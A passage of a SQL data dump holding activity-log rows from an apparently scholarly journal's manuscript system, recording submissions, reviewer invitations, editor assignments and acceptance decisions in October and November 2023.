15:56:51','Publisher has Invited Reviewer',14103,'Publisher',274),(130377,'2023-10-19 15:56:55','Publisher has Invited Reviewer',14103,'Publisher',274),(130378,'2023-10-19 15:57:00','Publisher has Invited Reviewer',14103,'Publisher',274),(130379,'2023-10-19 15:57:05','Publisher has Invited Reviewer',14103,'Publisher',274),(130380,'2023-10-19 15:57:10','Publisher has Invited Reviewer',14103,'Publisher',274),(130381,'2023-10-19 15:57:15','Publisher has Invited Reviewer',14103,'Publisher',274),(130382,'2023-10-19 15:57:19','Publisher has Invited Reviewer',14103,'Publisher',274),(130383,'2023-10-19 15:57:24','Publisher has Invited Reviewer',14103,'Publisher',274),(130384,'2023-10-19 15:57:29','Publisher has Invited Reviewer',14103,'Publisher',274),(130385,'2023-10-19 15:57:34','Publisher has Invited Reviewer',14103,'Publisher',274),(130386,'2023-10-19 15:57:38','Publisher has Invited Reviewer',14103,'Publisher',274),(130387,'2023-10-19 15:57:43','Publisher has Invited Reviewer',14103,'Publisher',274),(130388,'2023-10-19 15:57:48','Publisher has Invited Reviewer',14103,'Publisher',274),(130389,'2023-10-19 15:57:53','Publisher has Invited Reviewer',14103,'Publisher',274),(130390,'2023-10-19 15:57:58','Publisher has Invited Reviewer',14103,'Publisher',274),(130391,'2023-10-19 15:58:03','Publisher has Invited Reviewer',14103,'Publisher',274),(130392,'2023-10-19 15:58:08','Publisher has Invited Reviewer',14103,'Publisher',274),(130393,'2023-10-19 15:58:13','Publisher has Invited Reviewer',14103,'Publisher',274),(130394,'2023-10-19 15:58:17','Publisher has Invited Reviewer',14103,'Publisher',274),(130395,'2023-10-19 15:59:44','Editor has Accepted to review Manuscript',14102,'Editor',1789),(130396,'2023-10-19 16:00:07','Editor has been Editor Decision Accepted article',14102,'Editor',1789),(130397,'2023-10-19 16:00:14','Editor has Accepted to review Manuscript',14103,'Editor',1789),(130398,'2023-10-19 16:00:23','Editor has been Editor Decision Accepted article',14103,'Editor',1789),(130399,'2023-10-19 18:44:26','Reviewer has been sent email to Publisher',14103,'Reviewer',12019),(130400,'2023-10-19 19:29:50','Reviewer has submitted comments',14104,'Reviewer',10975),(130401,'2023-10-19 19:33:37','Reviewer has submitted comments',14101,'Reviewer',10975),(130402,'2023-10-19 19:45:51','Reviewer has submitted comments',14073,'Reviewer',10975),(130403,'2023-10-19 19:48:27','Reviewer has submitted comments',6873,'Reviewer',10975),(130404,'2023-10-20 02:11:18','Reviewer has submitted comments',14103,'Reviewer',9909),(130405,'2023-10-20 10:07:16','Manuscript Submitted by Publisher',14111,'Publisher',48),(130406,'2023-10-21 09:36:40','Publisher has been Assigned Editor',14111,'Publisher',48),(130407,'2023-10-21 09:37:19','Publisher has Invited Reviewer',14109,'Publisher',48),(130408,'2023-10-21 09:37:24','Publisher has Invited Reviewer',14109,'Publisher',48),(130409,'2023-10-21 09:37:29','Publisher has Invited Reviewer',14109,'Publisher',48),(130410,'2023-10-21 09:38:17','Publisher has Invited Reviewer',14111,'Publisher',48),(130411,'2023-10-21 09:38:21','Publisher has Invited Reviewer',14111,'Publisher',48),(130412,'2023-10-21 09:38:26','Publisher has Invited Reviewer',14111,'Publisher',48),(130413,'2023-10-23 09:19:04','Manuscript Submitted by Publisher',14112,'',1050),(130414,'2023-10-23 09:29:58','Manuscript Submitted by Publisher',14113,'Publisher',85),(130415,'2023-10-23 09:33:51','Manuscript Submitted by Publisher',14114,'Publisher',85),(130416,'2023-10-23 09:36:07','Manuscript Submitted by Publisher',14115,'Publisher',85),(130417,'2023-10-23 09:39:17','Manuscript Submitted by Publisher',14116,'',1050),(130418,'2023-10-23 09:41:14','Manuscript Submitted by Publisher',14117,'Publisher',85),(130419,'2023-10-23 09:44:14','Manuscript Submitted by Publisher',14118,'Publisher',85),(130420,'2023-10-23 09:48:29','Manuscript Submitted by Publisher',14119,'Publisher',85),(130421,'2023-10-23 09:51:01','Manuscript Submitted by Publisher',14120,'Publisher',85),(130422,'2023-10-23 09:55:13','Manuscript Submitted by Publisher',14121,'Publisher',85),(130423,'2023-10-23 09:57:52','Manuscript Submitted by Publisher',14122,'Publisher',85),(130424,'2023-10-23 12:09:43','Publisher has been Assigned Editor',14122,'Publisher',85),(130425,'2023-10-23 12:09:59','Publisher has been Assigned Editor',14121,'Publisher',85),(130426,'2023-10-23 12:10:25','Publisher has been Assigned Editor',14113,'Publisher',85),(130427,'2023-10-23 12:10:45','Publisher has been Assigned Editor',14119,'Publisher',85),(130428,'2023-10-23 12:12:24','Publisher has been Assigned Editor',14120,'Publisher',85),(130429,'2023-10-23 12:12:58','Publisher has been Assigned Editor',14118,'Publisher',85),(130430,'2023-10-23 12:13:14','Publisher has been Assigned Editor',14117,'Publisher',85),(130431,'2023-10-23 12:13:28','Publisher has been Assigned Editor',14114,'Publisher',85),(130432,'2023-10-23 12:14:27','Publisher has been Assigned Editor',14115,'Publisher',85),(130433,'2023-10-23 16:12:31','Manuscript Submitted by Publisher',14123,'',1212),(130434,'2023-10-23 17:03:23','Publisher has been Assigned Editor',14062,'Publisher',376),(130435,'2023-10-25 10:26:23','Publisher has been Assigned Editor',14123,'',1212),(130436,'2023-10-25 14:31:16','Reviewer has submitted comments',14109,'Reviewer',10975),(130437,'2023-10-25 14:32:06','Editor has Accepted to review Manuscript',14109,'Editor',194),(130438,'2023-10-25 14:32:16','Editor has been Editor Decision Accepted article',14109,'Editor',194),(130439,'2023-10-25 14:54:56','Manuscript Updated',14122,'Publisher',85),(130440,'2023-10-25 14:55:14','Publisher has been Accepted Articles  article',14122,'Publisher',85),(130441,'2023-10-25 15:08:21','Manuscript Updated',14122,'Publisher',85),(130442,'2023-10-25 15:08:27','Manuscript Updated',14109,'Publisher',48),(130443,'2023-10-25 15:08:35','Manuscript Updated',14121,'Publisher',85),(130444,'2023-10-25 15:08:43','Publisher has been Accepted Articles  article',14109,'Publisher',48),(130445,'2023-10-25 15:08:51','Publisher has been Accepted Articles  article',14121,'Publisher',85),(130446,'2023-10-25 15:09:03','Manuscript Updated',14109,'Publisher',48),(130447,'2023-10-25 15:09:04','Manuscript Updated',14121,'Publisher',85),(130448,'2023-10-25 15:09:37','Manuscript Updated',14120,'Publisher',85),(130449,'2023-10-25 15:09:52','Publisher has been Accepted Articles  article',14120,'Publisher',85),(130450,'2023-10-25 15:10:02','Manuscript Updated',14120,'Publisher',85),(130451,'2023-10-25 15:10:17','Manuscript Updated',14119,'Publisher',85),(130452,'2023-10-25 15:10:35','Publisher has been Accepted Articles  article',14119,'Publisher',85),(130453,'2023-10-25 15:10:46','Manuscript Updated',14119,'Publisher',85),(130454,'2023-10-25 15:11:12','Manuscript Updated',14118,'Publisher',85),(130455,'2023-10-25 15:11:36','Publisher has been Accepted Articles  article',14118,'Publisher',85),(130456,'2023-10-25 15:11:52','Manuscript Updated',14118,'Publisher',85),(130457,'2023-10-25 15:13:18','Manuscript Updated',14117,'Publisher',85),(130458,'2023-10-25 15:13:34','Publisher has been Accepted Articles  article',14117,'Publisher',85),(130459,'2023-10-25 15:14:52','Manuscript Updated',14117,'Publisher',85),(130460,'2023-10-25 15:15:07','Manuscript Updated',14115,'Publisher',85),(130461,'2023-10-25 15:15:37','Publisher has been Accepted Articles  article',14115,'Publisher',85),(130462,'2023-10-25 15:15:53','Manuscript Updated',14115,'Publisher',85),(130463,'2023-10-25 15:16:16','Manuscript Updated',14114,'Publisher',85),(130464,'2023-10-25 15:16:32','Publisher has been Accepted Articles  article',14114,'Publisher',85),(130465,'2023-10-25 15:16:43','Manuscript Updated',14114,'Publisher',85),(130466,'2023-10-25 15:19:52','Manuscript Updated',14113,'Publisher',85),(130467,'2023-10-25 15:20:08','Publisher has been Accepted Articles  article',14113,'Publisher',85),(130468,'2023-10-25 15:20:19','Manuscript Updated',14113,'Publisher',85),(130469,'2023-10-26 11:07:10','Reviewer has submitted comments',14111,'Reviewer',14534),(130470,'2023-10-26 11:07:37','Editor has Accepted to review Manuscript',14111,'Editor',194),(130471,'2023-10-26 11:07:45','Editor has been Editor Decision Accepted article',14111,'Editor',194),(130472,'2023-10-26 11:13:44','Manuscript Submitted by Publisher',14124,'Publisher',248),(130473,'2023-10-26 11:14:03','Manuscript Updated',14111,'Publisher',48),(130474,'2023-10-26 11:14:24','Publisher has been Accepted Articles  article',14111,'Publisher',48),(130475,'2023-10-26 11:14:36','Manuscript Updated',14111,'Publisher',48),(130476,'2023-10-26 11:18:39','Manuscript Submitted by Publisher',14125,'Publisher',248),(130477,'2023-10-26 11:33:30','Manuscript Submitted by Publisher',14126,'Publisher',248),(130478,'2023-10-26 12:15:00','Manuscript Submitted by Publisher',14127,'Publisher',248),(130479,'2023-10-26 12:18:11','Manuscript Submitted by Publisher',14128,'Publisher',248),(130480,'2023-10-26 12:20:52','Manuscript Submitted by Publisher',14129,'Publisher',248),(130481,'2023-10-26 12:28:46','Manuscript Submitted by Publisher',14130,'Publisher',248),(130482,'2023-10-26 12:34:26','Manuscript Submitted by Publisher',14131,'Publisher',248),(130483,'2023-10-26 12:36:55','Manuscript Submitted by Publisher',14132,'Publisher',248),(130484,'2023-10-26 12:40:26','Manuscript Submitted by Publisher',14133,'Publisher',248),(130485,'2023-10-27 11:00:15','Reviewer has submitted comments',14093,'Reviewer',12562),(130486,'2023-10-27 11:01:29','Editor has Accepted to review Manuscript',14093,'Editor',192),(130487,'2023-10-27 11:01:39','Editor has been Editor Decision Accepted article',14093,'Editor',192),(130488,'2023-10-27 11:03:15','Editor has been Editor Decision Accepted article',14093,'Editor',192),(130489,'2023-10-27 11:04:04','Publisher has been Accepted Articles  article',14093,'Publisher',48),(130490,'2023-10-27 14:50:23','Manuscript Submitted by Publisher',14134,'Publisher',673),(130491,'2023-10-27 15:13:13','Manuscript Submitted by Publisher',14135,'Publisher',673),(130492,'2023-10-27 15:21:53','Manuscript Submitted by Publisher',14136,'Publisher',84),(130493,'2023-10-27 15:25:12','Manuscript Submitted by Publisher',14137,'Publisher',673),(130494,'2023-10-27 15:25:53','Manuscript Submitted by Publisher',14138,'Publisher',988),(130495,'2023-10-27 15:26:21','Publisher has been Assigned Editor',14081,'Publisher',988),(130496,'2023-10-27 15:28:32','Manuscript Submitted by Publisher',14139,'Publisher',673),(130497,'2023-10-27 15:32:20','Manuscript Submitted by Publisher',14140,'Publisher',988),(130498,'2023-10-27 15:33:30','Manuscript Submitted by Publisher',14141,'Publisher',673),(130499,'2023-10-27 15:36:14','Manuscript Submitted by Publisher',14142,'Publisher',84),(130500,'2023-10-27 15:40:05','Manuscript Submitted by Publisher',14143,'Publisher',673),(130501,'2023-10-27 15:42:24','Manuscript Submitted by Publisher',14144,'Publisher',84),(130502,'2023-10-27 15:43:19','Manuscript Submitted by Publisher',14145,'Publisher',673),(130503,'2023-10-27 15:48:22','Manuscript Submitted by Publisher',14146,'Publisher',84),(130504,'2023-10-27 15:48:56','Manuscript Submitted by Publisher',14147,'Publisher',376),(130505,'2023-10-27 15:51:17','Manuscript Submitted by Publisher',14148,'Publisher',84),(130506,'2023-10-27 16:00:10','Manuscript Submitted by Publisher',14149,'Publisher',84),(130507,'2023-10-27 16:04:01','Manuscript Submitted by Publisher',14150,'Publisher',988),(130508,'2023-10-27 16:34:01','Manuscript Submitted by Publisher',14151,'Publisher',673),(130509,'2023-10-27 16:38:02','Manuscript Submitted by Publisher',14152,'Publisher',84),(130510,'2023-10-27 16:40:57','Manuscript Submitted by Publisher',14153,'Publisher',84),(130511,'2023-10-27 16:45:54','Manuscript Submitted by Publisher',14154,'Publisher',376),(130512,'2023-10-27 16:47:00','Manuscript Submitted by Publisher',14155,'Publisher',84),(130513,'2023-10-27 16:50:36','Manuscript Submitted by Publisher',14156,'Publisher',988),(130514,'2023-10-28 10:27:33','Manuscript Submitted by Author using Submission form',14157,'Author',14206),(130515,'2023-10-28 10:53:13','Manuscript Submitted by Publisher',14158,'Publisher',994),(130516,'2023-10-28 10:55:47','Manuscript Submitted by Publisher',14159,'Publisher',994),(130517,'2023-10-28 10:58:00','Manuscript Submitted by Publisher',14160,'Publisher',994),(130518,'2023-10-28 11:00:19','Manuscript Submitted by Publisher',14161,'Publisher',994),(130519,'2023-10-28 11:38:53','Manuscript Submitted by Publisher',14162,'Publisher',994),(130520,'2023-10-28 11:43:25','Manuscript Submitted by Publisher',14163,'Publisher',994),(130521,'2023-10-28 11:46:17','Manuscript Submitted by Publisher',14164,'Publisher',376),(130522,'2023-10-28 11:50:20','Manuscript Submitted by Publisher',14165,'Publisher',994),(130523,'2023-10-28 11:57:44','Manuscript Submitted by Publisher',14166,'Publisher',376),(130524,'2023-10-28 12:04:12','Manuscript Submitted by Publisher',14167,'Publisher',994),(130525,'2023-10-28 12:06:45','Manuscript Submitted by Publisher',14168,'Publisher',376),(130526,'2023-10-28 12:07:28','Manuscript Submitted by Publisher',14169,'Publisher',994),(130527,'2023-10-28 12:09:22','Manuscript Submitted by Publisher',14170,'Publisher',994),(130528,'2023-10-28 12:13:34','Manuscript Submitted by Publisher',14171,'Publisher',994),(130529,'2023-10-28 12:13:43','Manuscript Submitted by Publisher',14172,'Publisher',376),(130530,'2023-10-28 12:17:25','Manuscript Submitted by Publisher',14173,'Publisher',994),(130531,'2023-10-28 12:19:26','Manuscript Submitted by Publisher',14174,'Publisher',376),(130532,'2023-10-28 12:20:59','Manuscript Submitted by Publisher',14175,'Publisher',994),(130533,'2023-10-28 12:23:30','Manuscript Submitted by Publisher',14176,'Publisher',994),(130534,'2023-10-28 12:24:07','Editor has Accepted to review Manuscript',14101,'Editor',194),(130535,'2023-10-28 12:24:19','Editor has been Editor Decision Accepted article',14101,'Editor',194),(130536,'2023-10-28 12:24:52','Manuscript Submitted by Publisher',14177,'Publisher',376),(130537,'2023-10-28 12:25:27','Publisher has been Accepted Articles  article',14101,'Publisher',48),(130538,'2023-10-28 12:26:00','Manuscript Submitted by Publisher',14178,'Publisher',994),(130539,'2023-10-28 12:29:23','Manuscript Submitted by Publisher',14179,'Publisher',376),(130540,'2023-10-28 12:29:47','Manuscript Submitted by Publisher',14180,'Publisher',994),(130541,'2023-10-28 12:32:05','Manuscript Submitted by Publisher',14181,'Publisher',376),(130542,'2023-10-30 10:12:08','Manuscript Submitted by Publisher',14182,'Publisher',673),(130543,'2023-10-30 10:15:24','Manuscript Submitted by Publisher',14183,'Publisher',673),(130544,'2023-10-30 10:40:47','Manuscript Submitted by Publisher',14184,'Publisher',673),(130545,'2023-10-30 10:44:22','Manuscript Submitted by Publisher',14185,'Publisher',84),(130546,'2023-10-30 10:45:22','Manuscript Submitted by Publisher',14186,'Publisher',319),(130547,'2023-10-30 10:47:59','Manuscript Submitted by Publisher',14187,'Publisher',84),(130548,'2023-10-30 10:51:10','Manuscript Submitted by Publisher',14188,'Publisher',84),(130549,'2023-10-30 10:54:51','Manuscript Submitted by Publisher',14189,'Publisher',84),(130550,'2023-10-30 10:58:21','Manuscript Submitted by Publisher',14190,'Publisher',84),(130551,'2023-10-30 11:04:04','Manuscript Submitted by Publisher',14191,'Publisher',84),(130552,'2023-10-30 11:06:37','Manuscript Submitted by Publisher',14192,'Publisher',84),(130553,'2023-10-30 11:08:50','Manuscript Submitted by Publisher',14193,'Publisher',84),(130554,'2023-10-30 11:09:15','Manuscript Submitted by Publisher',14194,'Publisher',673),(130555,'2023-10-30 11:21:51','Manuscript Submitted by Publisher',14195,'Publisher',84),(130556,'2023-10-30 11:35:52','Manuscript Submitted by Publisher',14196,'Publisher',972),(130557,'2023-10-30 11:40:59','Manuscript Submitted by Publisher',14197,'Publisher',972),(130558,'2023-10-30 12:53:30','Manuscript Submitted by Publisher',14198,'Publisher',319),(130559,'2023-10-30 12:57:14','Manuscript Submitted by Publisher',14199,'Publisher',319),(130560,'2023-10-30 13:01:39','Publisher has been Assigned Editor',0,'Publisher',319),(130561,'2023-10-30 13:13:25','Editor has Accepted to review Manuscript',14104,'Editor',192),(130562,'2023-10-30 13:13:36','Editor has been Editor Decision Accepted article',14104,'Editor',192),(130563,'2023-10-30 13:14:35','Publisher has been Accepted Articles  article',14104,'Publisher',48),(130564,'2023-10-30 13:15:00','Manuscript Submitted by Publisher',14200,'Publisher',319),(130565,'2023-10-30 14:13:05','Manuscript Submitted by Publisher',14202,'Publisher',972),(130566,'2023-10-30 14:18:35','Manuscript Submitted by Publisher',14204,'Publisher',319),(130567,'2023-10-30 14:19:38','Manuscript Submitted by Publisher',14205,'Publisher',972),(130568,'2023-10-30 14:21:26','Manuscript Submitted by Publisher',14206,'Publisher',319),(130569,'2023-10-30 14:25:28','Manuscript Submitted by Publisher',14207,'Publisher',972),(130570,'2023-10-30 14:30:09','Manuscript Submitted by Publisher',14208,'Publisher',972),(130571,'2023-10-30 14:33:36','Manuscript Submitted by Publisher',14209,'Publisher',972),(130572,'2023-10-30 14:36:54','Manuscript Submitted by Publisher',14210,'Publisher',972),(130573,'2023-10-30 14:40:17','Manuscript Submitted by Publisher',14211,'Publisher',972),(130574,'2023-10-30 14:43:10','Manuscript Submitted by Publisher',14212,'Publisher',972),(130575,'2023-10-30 15:26:12','Manuscript Submitted by Publisher',14213,'Publisher',994),(130576,'2023-10-30 15:30:39','Manuscript Submitted by Publisher',14214,'Publisher',994),(130577,'2023-10-30 15:37:44','Manuscript Submitted by Publisher',14215,'Publisher',994),(130578,'2023-10-30 16:34:07','Manuscript Submitted by Publisher',14216,'Publisher',994),(130579,'2023-10-30 16:37:52','Manuscript Submitted by Publisher',14217,'Publisher',994),(130580,'2023-10-30 16:41:38','Manuscript Submitted by Publisher',14218,'Publisher',994),(130581,'2023-10-30 16:44:46','Manuscript Submitted by Publisher',14219,'Publisher',994),(130582,'2023-10-30 16:49:03','Manuscript Submitted by Publisher',14220,'Publisher',994),(130583,'2023-10-30 16:51:29','Manuscript Submitted by Publisher',14221,'Publisher',994),(130584,'2023-10-30 16:54:57','Manuscript Submitted by Publisher',14222,'Publisher',994),(130585,'2023-10-30 16:57:24','Manuscript Submitted by Publisher',14223,'Publisher',994),(130586,'2023-10-30 17:08:15','Publisher has been Assigned Editor',14157,'Publisher',48),(130587,'2023-10-31 09:39:49','Reviewer has submitted comments',14105,'Reviewer',10976),(130588,'2023-10-31 09:40:21','Editor has Accepted to review Manuscript',14105,'Editor',191),(130589,'2023-10-31 09:40:33','Editor has been Editor Decision Accepted article',14105,'Editor',191),(130590,'2023-10-31 09:41:40','Publisher: Accept Notification has been sent to Author',14105,'Publisher',48),(130591,'2023-10-31 09:42:17','Publisher has been Accepted Articles  article',14105,'Publisher',48),(130592,'2023-10-31 10:11:15','Editor has Accepted to review Manuscript',14099,'Editor',161),(130593,'2023-10-31 10:11:26','Editor has been Editor Decision Accepted article',14099,'Editor',161),(130594,'2023-10-31 10:12:20','Publisher has been Accepted Articles  article',14099,'',1050),(130595,'2023-10-31 10:12:22','Publisher has been Accepted Articles  article',14099,'',1050),(130596,'2023-10-31 10:12:23','Publisher has been Accepted Articles  article',14099,'',1050),(130597,'2023-10-31 10:14:19','Publisher has been Assigned Editor',14116,'',1050),(130598,'2023-10-31 10:15:02','Publisher has been Assigned Editor',14112,'',1050),(130599,'2023-10-31 10:15:17','Publisher has been Assigned Editor',14106,'',1050),(130600,'2023-10-31 10:16:02','Editor has Accepted to review Manuscript',14116,'Editor',161),(130601,'2023-10-31 10:16:16','Editor has been Editor Decision Accepted article',14116,'Editor',161),(130602,'2023-10-31 10:16:28','Editor has Accepted to review Manuscript',14112,'Editor',161),(130603,'2023-10-31 10:16:47','Editor has been Editor Decision Accepted article',14112,'Editor',161),(130604,'2023-10-31 10:17:14','Editor has Accepted to review Manuscript',14106,'Editor',161),(130605,'2023-10-31 10:17:25','Editor has been Editor Decision Accepted article',14106,'Editor',161),(130606,'2023-10-31 10:20:27','Publisher has been Accepted Articles  article',14106,'',1050),(130607,'2023-10-31 10:20:29','Publisher has been Accepted Articles  article',14106,'',1050),(130608,'2023-10-31 10:20:30','Publisher has been Accepted Articles  article',14106,'',1050),(130609,'2023-10-31 10:20:32','Publisher has been Accepted Articles  article',14106,'',1050),(130610,'2023-10-31 10:20:34','Publisher has been Accepted Articles  article',14106,'',1050),(130611,'2023-10-31 10:20:35','Publisher has been Accepted Articles  article',14106,'',1050),(130612,'2023-10-31 12:22:16','Publisher has Invited Reviewer',14085,'Publisher',48),(130613,'2023-10-31 12:22:21','Publisher has Invited Reviewer',14085,'Publisher',48),(130614,'2023-10-31 13:12:52','Reviewer has submitted comments',14085,'Reviewer',10976),(130615,'2023-10-31 13:13:30','Editor has Accepted to review Manuscript',14085,'Editor',194),(130616,'2023-10-31 13:13:45','Editor has been Editor Decision Accepted article',14085,'Editor',194),(130617,'2023-10-31 13:14:50','Publisher: Accept Notification has been sent to Author',14085,'Publisher',48),(130618,'2023-10-31 13:15:05','Publisher has been Accepted Articles  article',14085,'Publisher',48),(130619,'2023-10-31 14:20:14','Manuscript Submitted by Publisher',14224,'Publisher',988),(130620,'2023-10-31 14:21:15','Manuscript Submitted by Publisher',14225,'Publisher',988),(130621,'2023-10-31 14:22:20','Manuscript Submitted by Publisher',14226,'Publisher',988),(130622,'2023-10-31 14:23:27','Manuscript Submitted by Publisher',14227,'Publisher',988),(130623,'2023-10-31 14:31:11','Manuscript Submitted by Publisher',14228,'Publisher',988),(130624,'2023-11-01 11:19:55','Manuscript Submitted by Publisher',14229,'Publisher',48),(130625,'2023-11-01 13:30:54','Manuscript Submitted by Publisher',14230,'Publisher',48),(130626,'2023-11-01 17:46:53','Publisher has been Assigned Editor',14230,'Publisher',48),(130627,'2023-11-01 17:47:10','Publisher has been Assigned Editor',14229,'Publisher',48),(130628,'2023-11-02 09:03:03','Publisher has Invited Reviewer',14157,'Publisher',48),(130629,'2023-11-02 09:03:07','Publisher has Invited Reviewer',14157,'Publisher',48),(130630,'2023-11-02 09:03:12','Publisher has Invited Reviewer',14157,'Publisher',48),(130631,'2023-11-02 09:03:17','Publisher has Invited Reviewer',14157,'Publisher',48),(130632,'2023-11-02 09:44:00','Manuscript Submitted by Publisher',14231,'Publisher',673),(130633,'2023-11-02 09:46:10','Manuscript Submitted by Publisher',14232,'Publisher',673),(130634,'2023-11-02 10:02:52','Manuscript Submitted by Publisher',14233,'Publisher',673),(130635,'2023-11-02 10:08:39','Manuscript Submitted by Publisher',14234,'Publisher',673),(130636,'2023-11-02 10:11:47','Manuscript Submitted by Publisher',14235,'Publisher',673),(130637,'2023-11-02 10:18:16','Manuscript Submitted by Publisher',14236,'Publisher',673),(130638,'2023-11-02 10:20:22','Manuscript Submitted by Publisher',14237,'Publisher',673),(130639,'2023-11-02 10:23:33','Manuscript Submitted by Publisher',14238,'Publisher',673),(130640,'2023-11-02 10:27:09','Manuscript Submitted by Publisher',14239,'Publisher',673),(130641,'2023-11-02 10:29:10','Manuscript Submitted by Publisher',14240,'Publisher',673),(130642,'2023-11-02 10:31:52','Manuscript Submitted by Publisher',14241,'Publisher',673),(130643,'2023-11-02 10:34:37','Manuscript Submitted by Publisher',14242,'Publisher',673),(130644,'2023-11-02 12:35:42','Publisher has been Assigned Editor',14242,'Publisher',673),(130645,'2023-11-02 12:36:01','Publisher has been Assigned Editor',14241,'Publisher',673),(130646,'2023-11-02 12:36:45','Publisher has been Assigned Editor',14240,'Publisher',673),(130647,'2023-11-02 12:36:59','Publisher has been Assigned Editor',14239,'Publisher',673),(130648,'2023-11-02 12:37:13','Publisher has been Assigned Editor',14238,'Publisher',673),(130649,'2023-11-02 12:37:29','Publisher has been Assigned Editor',14235,'Publisher',673),(130650,'2023-11-02 12:37:49','Publisher has been Assigned Editor',14234,'Publisher',673),(130651,'2023-11-02 12:38:08','Publisher has been Assigned Editor',14233,'Publisher',673),(130652,'2023-11-02 12:38:23','Publisher has been Assigned Editor',14232,'Publisher',673),(130653,'2023-11-02 12:38:38','Publisher has been Assigned Editor',14231,'Publisher',673),(130654,'2023-11-02 12:38:56','Publisher has been Assigned Editor',14194,'Publisher',673),(130655,'2023-11-02 12:39:11','Publisher has been Assigned Editor',14184,'Publisher',673),(130656,'2023-11-02 12:39:26','Publisher has been Assigned Editor',14183,'Publisher',673),(130657,'2023-11-02 12:39:51','Publisher has been Assigned Editor',14182,'Publisher',673),(130658,'2023-11-02 12:40:06','Publisher has been Assigned Editor',14151,'Publisher',673),(130659,'2023-11-02 12:40:20','Publisher has been Assigned Editor',14145,'Publisher',673),(130660,'2023-11-02 12:40:37','Publisher has been Assigned Editor',14143,'Publisher',673),(130661,'2023-11-02 12:40:58','Publisher has been Assigned Editor',14141,'Publisher',673),(130662,'2023-11-02 12:41:27','Publisher has been Assigned Editor',14139,'Publisher',673),(130663,'2023-11-02 12:41:43','Publisher has been Assigned Editor',14135,'Publisher',673),(130664,'2023-11-02 12:42:04','Publisher has been Assigned Editor',14137,'Publisher',673),(130665,'2023-11-02 12:42:26','Publisher has been Assigned Editor',14134,'Publisher',673),(130666,'2023-11-02 12:57:52','Publisher has been Assigned Editor',14059,'Publisher',988),(130667,'2023-11-02 13:02:52','Publisher has been Assigned Editor',14181,'Publisher',376),(130668,'2023-11-02 13:04:06','Publisher has been Assigned Editor',14179,'Publisher',376),(130669,'2023-11-02 13:06:36','Publisher has been Assigned Editor',14177,'Publisher',376),(130670,'2023-11-02 13:07:18','Publisher has been Assigned Editor',14174,'Publisher',376),(130671,'2023-11-02 13:08:29','Publisher has been Assigned Editor',14172,'Publisher',376),(130672,'2023-11-02 13:09:02','Publisher has been Assigned Editor',14168,'Publisher',376),(130673,'2023-11-02 13:09:36','Publisher has been Assigned Editor',14166,'Publisher',376),(130674,'2023-11-02 13:10:08','Publisher has been Assigned Editor',14164,'Publisher',376),(130675,'2023-11-02 13:11:07','Publisher has been Assigned Editor',14154,'Publisher',376),(130676,'2023-11-02 13:11:38','Publisher has been Assigned Editor',14147,'Publisher',376),(130677,'2023-11-02 13:12:04','Manuscript Submitted by Publisher',14243,'Publisher',988),(130678,'2023-11-02 13:12:40','Publisher has been Assigned Editor',14138,'Publisher',988),(130679,'2023-11-02 14:11:15','Publisher has been Assigned Editor',14140,'Publisher',988),(130680,'2023-11-02 14:11:39','Publisher has been Assigned Editor',14150,'Publisher',988),(130681,'2023-11-02 14:11:57','Publisher has been Assigned Editor',14156,'Publisher',988),(130682,'2023-11-02 14:12:12','Publisher has been Assigned Editor',14225,'Publisher',988),(130683,'2023-11-02 14:12:30','Publisher has been Assigned Editor',14226,'Publisher',988),(130684,'2023-11-02 14:12:46','Publisher has been Assigned Editor',14228,'Publisher',988),(130685,'2023-11-02 14:13:06','Publisher has been Assigned Editor',14227,'Publisher',988),(130686,'2023-11-02 16:39:37','Publisher has been Assigned Editor',14096,'Publisher',48),(130687,'2023-11-02 17:22:10','Manuscript Submitted by Publisher',14244,'',1045),(130688,'2023-11-03 12:40:39','Manuscript Submitted by Publisher',14245,'Publisher',248),(130689,'2023-11-03 12:44:37','Manuscript Submitted by Publisher',14246,'Publisher',248),(130690,'2023-11-03 12:49:18','Manuscript Submitted by Publisher',14247,'Publisher',248),(130691,'2023-11-03 12:50:59','Publisher has been Assigned Editor',14132,'Publisher',248),(130692,'2023-11-03 12:51:13','Publisher has been Assigned Editor',14131,'Publisher',248),(130693,'2023-11-03 12:51:28','Publisher has been Assigned Editor',14128,'Publisher',248),(130694,'2023-11-03 12:51:41','Publisher has been Assigned Editor',14127,'Publisher',248),(130695,'2023-11-03 12:51:53','Publisher has been Assigned Editor',14126,'Publisher',248),(130696,'2023-11-03 12:52:06','Publisher has been Assigned Editor',14125,'Publisher',248),(130697,'2023-11-03 12:52:25','Publisher has been Assigned Editor',14124,'Publisher',248),(130698,'2023-11-03 15:29:39','Editor has Accepted to review Manuscript',14229,'Editor',194),(130699,'2023-11-03 15:29:43','Editor has Accepted to review Manuscript',14230,'Editor',194),(130700,'2023-11-03 15:29:54','Editor has been Editor Decision Accepted article',14230,'Editor',194),(130701,'2023-11-03 15:30:04','Editor has been Editor Decision Accepted article',14229,'Editor',194),(130702,'2023-11-03 15:30:33','Manuscript Updated',14230,'Publisher',48),(130703,'2023-11-03 15:30:48','Publisher has been Accepted Articles  article',14230,'Publisher',48),(130704,'2023-11-03 15:31:09','Manuscript Updated',14229,'Publisher',48),(130705,'2023-11-03 15:31:26','Publisher has been Accepted Articles  article',14229,'Publisher',48),(130706,'2023-11-03 17:02:56','Publisher has been Assigned Editor',14244,'',1045),(130707,'2023-11-04 09:19:11','Publisher has been Accepted Articles  article',14024,'',1050),(130708,'2023-11-04 09:19:13','Publisher has been Accepted Articles  article',14024,'',1050),(130709,'2023-11-04 09:50:37','Publisher has been Assigned Editor',14206,'Publisher',319),(130710,'2023-11-04 09:51:52','Publisher has been Assigned Editor',14204,'Publisher',319),(130711,'2023-11-04 09:53:24','Publisher has been Assigned Editor',14203,'Publisher',319),(130712,'2023-11-04 09:54:27','Publisher has been Assigned Editor',14201,'Publisher',319),(130713,'2023-11-04 09:55:17','Publisher has been Assigned Editor',14200,'Publisher',319),(130714,'2023-11-04 09:56:17','Publisher has been Assigned Editor',14199,'Publisher',319),(130715,'2023-11-04 09:56:51','Publisher has been Assigned Editor',14198,'Publisher',319),(130716,'2023-11-04 09:57:42','Publisher has been Assigned Editor',14186,'Publisher',319),(130717,'2023-11-05 23:31:23','Manuscript Submitted by Author using Submission form',14248,'Author',14306),(130718,'2023-11-06 09:21:51','Publisher has been Accepted Articles  article',14116,'',1050),(130719,'2023-11-06 09:21:53','Publisher has been Accepted Articles  article',14116,'',1050),(130720,'2023-11-06 09:21:55','Publisher has been Accepted Articles  article',14116,'',1050),(130721,'2023-11-06 09:21:57','Publisher has been Accepted Articles  article',14116,'',1050),(130722,'2023-11-06 09:22:19','Publisher has been Accepted Articles  article',14112,'',1050),(130723,'2023-11-06 